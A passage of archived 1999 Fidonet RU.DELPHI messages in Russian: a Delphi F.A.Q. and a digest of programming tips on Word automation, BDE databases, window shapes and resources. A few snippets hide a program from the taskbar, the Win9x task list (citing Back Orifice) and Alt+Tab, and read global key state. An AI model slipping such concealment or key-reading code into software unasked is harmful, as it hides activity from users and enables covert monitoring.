кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: Как мне работать с файлами MS Word или таблицами MS Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на русском Word 7.0! Может, поможет... unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; {.....} === Cut Конец примера === Q: Как сделать так, чтобы запущенная программа не была видна на панели задач? Во-первых, можно по примеру Back Orifice воспользоваться функцией RegisterServiceProcess. Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать программу обратно из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу предупреждаю про грабли, на которые я наступал -- будь готов к тому, что если пpи попытке закрытия приложения в OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут быть проблемы с автоматическим завершением пpогpаммы пpи shutdown -- под Win95 просто зависает, под WinNT не завершается. Очевидно, что сообщение выводится, но его не видно (причем SW_RESTORE не сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. _________________________________________________________________ Вопросы, связанные с программированием баз данных Q: После работы программы не сохраняются изменения в базе Paradox. Что делать? A: Где-нибудь при закрытии главной формы выполните нижеследующие куски кода: Для Delphi 3: Table.FlushBuffers при открытой таблице. Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle)); Table.Close; Q: Как мне упаковать Paradox или DBF таблицу? A: Воспользоваться функцией PackTable из rxLib. Для перегенерации индексов: Table1.Exclusive := True; Table1.Open; Check(dbiRegenIndexes(Table1.Handle); Q: Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset? A: Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в помощи при поиске по "live result sets". Q: Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных? A: Смотри в F.A.Q. по Borland Interbase от демо-центра. Q: Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать? A: В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr. Q: Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что делать? A: Прочитать X:\DELPHI\DOC\deploy.txt. Q: Как правильно соединяться с базой данных под Personal Oracle? A: user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение. Q: У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно, большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все? A: Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько * Message split, to be continued * --- ifmail v.2.14.os-p4 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 47 of 341 From : Alexey_Mahotkin 2:5020/433 25 Feb 99 23:28:00 To : All Subj : [part 4] RU.DELPHI.F.A.Q. [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 919985341 2840 127.0.0.1 (25 Feb 1999 23:29:01 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 25 Feb 1999 23:29:01 GMT * Continuation 3 of a split message * неверной архитектуре приложения. _________________________________________________________________ Последние изменения: Чтв Фев 25 23:27:25 Local time zone must be set--see zic manual page 1999 Сгенерировано [34]TEItools References 1. mailto:alexm(at)hsys.msk.ru" 2. http://alexm.here.ru/ 3. http://www.inprise.com/ 4. http://www.dataweb.net/~r.p.sterkenburg 5. http://msdn.microsoft.com/ 6. http://www.sysinternals.com/ 7. http://www.iarchitect.com/ 8. http://www.vireo.com/ 9. http://www.entechtaiwan.com/tools.htm 10. http://www.bluewatersystems.com/ 11. http://rx.demo.ru/ 12. http://www.altavista.com/ 13. http://ftpsearch.lycos.com/ 14. http://www.dejanews.com/ 15. ftp://bbs.ogo.ru/ 16. http://rx.demo.ru/ 17. http://members.xoom.com/PolarisSoft/ 18. http://www.sawatski.de/ 19. http://www.itecuk.com/delmag/thunk95.htm 20. http://www.imagelib.com/ 21. http://einstein.ae.eng.ua.edu/nishita/index.htm 22. http://www.exceedsoft.com/ 23. http://www.geocities.com/SiliconValley/1142/ 24. http://www.signsoft.com/opengl 25. http://www.opengl.org/ 26. http://reality.sgi.com/mjk 27. http://www.scitechsoft.com/ 28. http://www.pbear.com/ 29. http://www.tsinet.ru/~vg 30. http://www.cyclic.com/ 31. http://alexm.here.ru/ 32. http://www.dic.ru/users/rusov/ 33. http://www.numega.com/ 34. http://xtalk.price.ru/SGML/TEItools/ -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p4 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 48 of 341 + 59 From : Nick Slepchenko 2:5064/12 03 Mar 99 17:53:00 To : All Subj : [01/03] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ █ Дайджест по конференции RU.DELPHI (редакция от 28-01-99) █ █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█ ╒══════════════════════════════════════════════════════════════════════════╕ │ │ │ Я не претендую на авторские права тех людей, чьи материалы включены │ │ в этот дайджест. Здесь не yказаны их копирайты, но так полyчилось по │ │ двyм причинам: │ │ 1. Первоначально я составлял этот дайджест лично для себя и не │ │ предпологал его выставлять на всеобщее обозрение. │ │ 2. Этот файл достаточно объемен и копирайты я не включал │ │ сюда для того, чтобы не yвеличивать объем файла (делал-то для себя). │ │ │ │ Так что претензий по авторским правам не принимаю. Я лишь имею права │ │ на эти материалы как составитель. Т.е. я просто объединил весь понравив- │ │ шийся мне материал. Все вопросы/пожелания/дополнения приветствуются, про-│ │ шy писать их мне в нетмайл, дабы не засорять конференцию. │ │ │ │ С уважением... ─═╬┤ик═─·[FAQ TeAm]·═─ │ │ │ │ По всем вопросам: 2:5064/12.1@fidonet.org │ ╘══════════════════════════════════════════════════════════════════════════╛ ------------------------------------------------------------------------------ > Каким образом можно узнать какая нажата кнопка на клавиатуре > (мыши) вне зависимости от того, какое приложение в данный момент > активно? GetAsyncKeyState. И для клавиатуpы, и для мыши. ------------------------------------------------------------------------------ > Как мне получить путь к запущенной программе из нее самой? Application.EXEName; ------------------------------------------------------------------------------ > Как в Delphi определить, где установлена Windows? GetWindowsDirectory Пример: var Windir : String; WindirP : PChar; ................................................ WinDirP := StrAlloc(MAX_PATH); Res := GetWindowsDirectory(WinDirP, MAX_PATH); if Res > 0 then WinDir := StrPas(WinDirP); ................................................ ------------------------------------------------------------------------------ > Каким образом можно убрать приложение из Task Bar? ShowWindow(Application.Handle,SW_HIDE); ------------------------------------------------------------------------------ > Каким образом можно убрать приложение из Task List? (Только для Win'9x) Пример: unit hideprg; interface procedure TryToHide; implementation procedure RegisterServiceProcess; external 'kernel32.dll' name 'RegisterServiceProcess'; procedure TryToHide;assembler; asm push 1 push 0 call RegisterServiceProcess; end; ------------------------------------------------------------------------------ > Каким образом можно спрятать приложение от показа при нажатии Alt+Tab? Пример (работает только в Win'95): var WnHnd : Integer; ........................................................ WnHnd := GetWindowLong(Application.Handle, GWL_EXSTYLE); WnHnd := WnHnd or WS_EX_TOOLWINDOW; SetWindowLong(Application.Handle, GWL_EXSTYLE, WnHnd); ........................................................ ------------------------------------------------------------------------------ > Как можно сделать форму прозрачной? Для этого необходимо пеpеопpеделить обpаботчик события OnCreate: procedure TForm1.FormCreate(Sender: TObject); begin Brush.Style:=bsClear; end; ------------------------------------------------------------------------------ > Как сделать произвольную (непрямоугольную) форму? Win32 (Windows'95 or Windows NT 4.0 or above). Достаточно создать регион нужной формы и вызвать SetWindowRgn - HRGN rgn := CreateEllipticRgn( 10,10,100,100 ); SetWindowRgn( hMyWnd,rgn ); // Вот и будет круглое окно При этом регион этот теперь используется Windows и будет уничтожен при закрытии окна. Вот, например: ........................................................ procedure TForm1.FormCreate(Sender: TObject); const W=36*pi/180; var R,R1,R2: HRgn; X,Y,i:integer; function S(a:integer;R:integer):integer; begin Result:=round(R*sin(W*a)); end; function C(a:integer;R:integer):integer; begin Result:=round(R*cos(W*a)); end; function GetStarReg(X,Y,R:integer):HRGN; var P : array [0..4] of TPoint; begin P[0] := Point(X, Y-R); P[1] := Point(X-S(4,R), Y-C(4,R)); P[2] := Point(X-S(8,R), Y-C(8,R)); P[3] := Point(X-S(2,R), Y-C(2,R)); P[4] := Point(X-S(6,R), Y-C(6,R)); Result := CreatePolygonRgn(P, 5, WINDING); end; begin X:=Width div 2; Y:=Height div 2; R:=GetStarReg(X,Y,100); i:=1; repeat R1:=GetStarReg(X-S(i,120),Y-C(i,110),40); CombineRgn(R,R,R1,RGN_OR); inc(i,2); until i>9; R1:=GetStarReg(X,Y,30); CombineRgn(R,R,R1,RGN_DIFF); R1:=CreateEllipticRgn(3,3,Width-6,Height-6); R2:=CreateEllipticRgn(20,10,Width-20,Height-10); CombineRgn(R1,R1,R2,RGN_DIFF); CombineRgn(R,R,R1,RGN_OR); SetWindowRgn(Handle, R, True); end; ........................................................ ------------------------------------------------------------------------------ > Как создать файлы с уникальными именами? Здесь удобнее всего использовать имя, состоящее из даты и времени, напри- мер: 2310566160798 для 23:10:56 16-07-98. Если перевести это число в 32-чную систему счисления, получим искомые восемь символов имени файла. Это хорошо использовать, если программа создает много файлов, которые потом будут ис- пользоваться. Если же нужно создать несколько временных файлов, то лучше воспользоваться фyнкцией GetTempFileName. ------------------------------------------------------------------------------ > Как программно переключать раскладку клавиатуры? LoadKeyboardLayout('00000409', KLF_ACTIVATE); // английский LoadKeyboardLayout('00000419', KLF_ACTIVATE); // русский ------------------------------------------------------------------------------ > Как сделать невидимой главную форму? Hаписать Application.ShowMainForm:=false в файле пpоекта. ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 49 of 341 + 60 From : Nick Slepchenko 2:5064/12 03 Mar 99 17:53:00 To : All Subj : [02/03] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ------------------------------------------------------------------------------ > Как запустить создание письма по указанному адресу? > Как запустить браузер по http-адресу? Сначала необходимо написать в разделе uses ShellAPI. E-mail: ShellExecute(Application.Handle,'open','mailto:towho@mysite.com',nil,nil,0); Страничку: ShellExecute(Application.Handle,'open','http://mysite.com,nil,nil,0); ------------------------------------------------------------------------------ > Как рисовать прямо на экране? ........................................................ Procedure DrawOnScreen; Var DC:HDC; DesktopCanvas:TCanvas; begin DC:=GetDC(0); // получили DC экрана try DesktopCanvas:=TCanvas.Create; DesktopCanvas.Handle:=DC; .................. // здесь рисуем на Canvas экрана .................. finally ReleaseDC(0,DC); DesktopCanvas.Free; end; end; ........................................................ ------------------------------------------------------------------------------ > Как увеличить в RichEdit размер редактируемого файла? RichEdit1.Perform(EM_LIMITTEXT, нужный размер , 0); Перед каждым открытием файла это действие необходимо повторять. ------------------------------------------------------------------------------ > В каком порядке происходят события при создании и показе окна? OnCreate, OnShow, OnPaint, OnActivate, OnResize и снова OnPaint. ------------------------------------------------------------------------------ > Если приложение долго выполняет какой-то цикл, как сделать так, чтобы > остальные приложения не подвисали? 1. Вставить в тело цикла: Application.ProcessMessages 2. Запустить этот цикл как отдельный процесс, используя класс TThread. ------------------------------------------------------------------------------ > Как перекодировать строки из Win(1251) кодовой страницы в Dos(866) кодовую > страницу и обратно? CharToOEM/OEMToChar и CharToOEMBuff/OEMToCharBuff. ------------------------------------------------------------------------------ > Как использовать анимированные курсоры в программе? Пример формы, использующей анимированный курсор: ........................................................ procedure TForm1.Button1Click(Sender: TObject); var h : THandle; begin h := LoadImage(0,'C:\TheWall\Magic.ani', IMAGE_CURSOR, 0, 0, LR_DEFAULTSIZE or LR_LOADFROMFILE); if h = 0 then ShowMessage('Cursor not loaded') else begin Screen.Cursors[1] := h; Form1.Cursor := 1; end; end; ........................................................ ------------------------------------------------------------------------------ > Как сделать так, чтобы по Alt-F4 форма не закрывалась, а выдавала запрос > на сохранение? Обрабатывать событие OnCloseQuery ------------------------------------------------------------------------------ > Как выключить/включить PC Speaker? Выключить: SyStemParametersInfo(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE); Включить: SyStemParametersInfo(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE); ------------------------------------------------------------------------------ > Как скопировать файл? Эта процедура позволяет скопиpовать как весь файл пpи From и Count = 0, так и пpоизвольный его кусок. ........................................................ function CopyFile( InFile,OutFile: String; From,Count: Longint ): Longint; var InFS,OutFS: TFileStream; begin InFS := TFileStream.Create( InFile, fmOpenRead ); OutFS := TFileStream.Create( OutFile, fmCreate ); InFS.Seek( From, soFromBeginning ); Result := OutFS.CopyFrom( InFS, Count ); InFS.Free; OutFS.Free; end; ........................................................ ------------------------------------------------------------------------------ > Как инсталлировать на время работы программы свои шрифты? Добавить фонт (.fon, .fot, .fnt, .ttf) в систему можно след. образом: ........................................................ {$IFDEF WIN32} AddFontResource( PChar( my_font_PathName { AnsiString } ) ); {$ELSE} var ss : array [ 0..255 ] of Char; AddFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); ........................................................ Убрать его по окончании работы: ........................................................ {$IFDEF WIN32} RemoveFontResource ( PChar(my_font_PathName) ); {$ELSE} RemoveFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); ........................................................ Где my_font_PathName - полный путь к файлу со шрифтом. ------------------------------------------------------------------------------ > Как узнать текущее разрешение экрана? Screen.Width и Screen.Height ------------------------------------------------------------------------------ > Как в TMemo определить номер строки, в которой находится курсор и его > местоположение в строке? ........................................................ var X,Y: LongInt; Y:=Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0); X:=Memo1.Parform(EM_LINEINDEX, Y, 0); inc(Y); X:=Memo1.SelStart-X+1; ........................................................ ------------------------------------------------------------------------------ > Есть программа на Delphi, котоpая отображает какой-то html. В html исполь- > зуется gif-файл. Как в Delphi-пpоекте указать, чтобы этот gif находился > в exe как некий кусок кода. А когда надо будет, записать его обратно в > gif-файл без изменений, выковырнув из exe? Можно, используя RxLib. После его установки в меню View появится пунктик Project Resources. Hужно выбрать Project Resources->New->User Data и добавить нужный файл. В данном случае ресурс был назван "RCDATA_1". Если RxLib нет, то нужно создать файл описания ресурсов: === Begin gifs.rc === mygif rcdata "имя_gif-файла.gif" mygif1 rcdata "RCDATA_1" === End dots.rc === Потом скомпилировать его командой brcc32 gifs.rc и получить gifs.res В начало модуля добавь строчку {$R gifs.res} В своей программе необходимо написать: var rs : TResourceStream; a : Pointer; begin rs:=TResourceStream.Create(hinstance,'RCDATA_1',RT_RCDATA); try GetMem(a,rs.size); rs.Read(a^,rs.size); {Теперь a - динамический указатель на код} { Здесь делается все, что необходимо с кодом, используя указатель a } FreeMem(a); finally rs.Free; end; end; А можно и так, если необходимо записать ресурс в файл: var rs : TResourceStream; fs : TFileStream; begin rs:=TResourceStream.Create(hInstance, 'mygif', RT_RCDATA); fs:=TFileStream.Create('имя_gif-файла.gif', fmCreate); try fs.CopyFrom(rs, rs.Size); finally fs.Free; rs.Free; end; end; ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 50 of 341 + 61 From : Nick Slepchenko 2:5064/12 03 Mar 99 17:53:00 To : All Subj : [03/03] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ------------------------------------------------------------------------------ > Как быстро выводить графику? (А то Canvas очень медленно работает). Вот пример заполнения формами точками случайного цвета. ........................................................ type TRGB=record b,g,r:byte; end; ARGB=array [0..1] of TRGB; PARGB=^ARGB; var b:TBitMap; procedure TForm1.FormCreate(sender:TObject); begin b:=TBitMap.Create; b.pixelformat:=pf24bit; b.width:=Clientwidth; b.height:=Clientheight; end; procedure TForm1.Tim1OnTimer(sender:TObject); Var p:PARGB; x,y:integer; begin for y:=0 to b.height-1 do begin p:=b.scanline[y]; for x:=0 to b.width-1 do begin p[x].r:=random(256); p[x].g:=random(256); p[x].b:=random(256); end; end; canvas.draw(0,0,b); end; procedure TForm1.FormDestroy(sender:TObject); begin b.free; end; ........................................................ ------------------------------------------------------------------------------ > Как программно создать ярлык? ........................................................ uses ShlObj, ComObj, ActiveX; procedure CreateLink(const PathObj, PathLink, Desc, Param: string); var IObject: IUnknown; SLink: IShellLink; PFile: IPersistFile; begin IObject := CreateComObject(CLSID_ShellLink); SLink := IObject as IShellLink; PFile := IObject as IPersistFile; with SLink do begin SetArguments(PChar(Param)); SetDescription(PChar(Desc)); SetPath(PChar(PathObj)); end; PFile.Save(PWChar(WideString(PathLink)), FALSE); end; ........................................................ ------------------------------------------------------------------------------ --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 51 of 341 + 62 From : Alexey_Mahotkin 2:5020/433 03 Mar 99 23:11:00 To : All Subj : RU.DELPHI.F.A.Q. [1/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 920502688 2957 127.0.0.1 (3 Mar 1999 23:11:28 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 3 Mar 1999 23:11:28 GMT Преамбула $Id: ru.delphi.f.a.q.tei,v 1.13 1999/03/03 23:09:28 alexm Exp $ (higher colliders) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. _________________________________________________________________ Сопутствующие проекты Существует также некоторое количество подобных проектов, освещающих те или иные стороны вопроса. Документы на русском языке Delphi Tips&Tricks, автор -- Акжан Абдулин, 2:5040/55. Это большая коллекция кусков кода и обстоятельных рассказов о том или ином решении. [3]http://delphi.da.ru F.A.Q. по фичам Delphi, автор -- Михаил Чернышев, 2:4615/26. Это описание различных библиотек и компонентов третьих фирм, не входящих в стандартную поставку Delphi. [4]http://www.chat.ru/~ivanuts Delphi F.A.Q., составленный в Демо-Центре, он же Epsylon Technologies ([5]www.demo.ru/homerus/delphi/faq/faqsroot.htm). Большой набор вопросов и великолепные ответы. Кажется, первый F. A. Q. по Delphi на русском языке. Многие из этих FAQ можно найти также на FAQ-сервере по имени AkFAQ, по адресу 2:5040/55.999. Документы на английском языке Delphi F.A.Q., находящийся на сайте производителя [6]http://www.inprise.com. Это официальный F.A.Q. Delphi Bug List, лежащий по адресу [7]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24). Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация -- напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathname. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [8]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под Windows 95/NT, можно получить на [9]http://www.sysinternals.com. Hа [10]http://www.iarchitect.com находится большой ресурс, посвященный вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 52 of 341 + 63 From : Alexey_Mahotkin 2:5020/433 03 Mar 99 23:11:00 To : All Subj : RU.DELPHI.F.A.Q. [2/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: 